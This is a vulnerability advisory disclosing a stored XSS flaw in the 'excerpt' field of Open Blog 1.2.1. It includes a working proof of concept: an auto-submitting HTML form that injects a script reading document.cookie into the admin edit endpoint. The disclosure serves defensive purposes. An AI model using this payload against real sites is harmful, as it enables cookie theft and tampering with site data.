Vulnerability ID: HTB22497 Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_open_blog.html Product: Open Blog Vendor: Tomaž Muraus ( http://www.open-blog.info/ ) Vulnerable Version: 1.2.1 and Probably Prior Versions Vendor Notification: 22 July 2010 Vulnerability Type: Stored XSS (Cross Site Scripting) Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response Risk level: Medium Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) Vulnerability Details: User can execute arbitrary JavaScript code within the vulnerable application. The vulnerability exists due to failure in the "/application/modules/admin/controllers/posts.php" script to properly sanitize user-supplied input in "excerpt" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data. An attacker can use browser to exploit this vulnerability. The following PoC is available: <form action="http://host/admin/posts/edit"; method="post" > <input type="hidden" name="title" value="Welcome to Open Blog" /> <input type="hidden" name="excerpt" value='Some text"><script>alert(document.cookie)</script>' /> <input type="hidden" name="content" value="" /> <input type="hidden" name="categories[]" value="1" /> <input type="hidden" name="tags" value="openblog" /> <input type="hidden" name="publish_date" value="13/07/2010" /> <input type="hidden" name="status" value="published" /> <input type="hidden" name="id" value="1" /> <input type="submit" name="submit" id="sbmtit" value="Edit ››" /> </form> <script> document.getElementById('sbmtit').click(); </script>
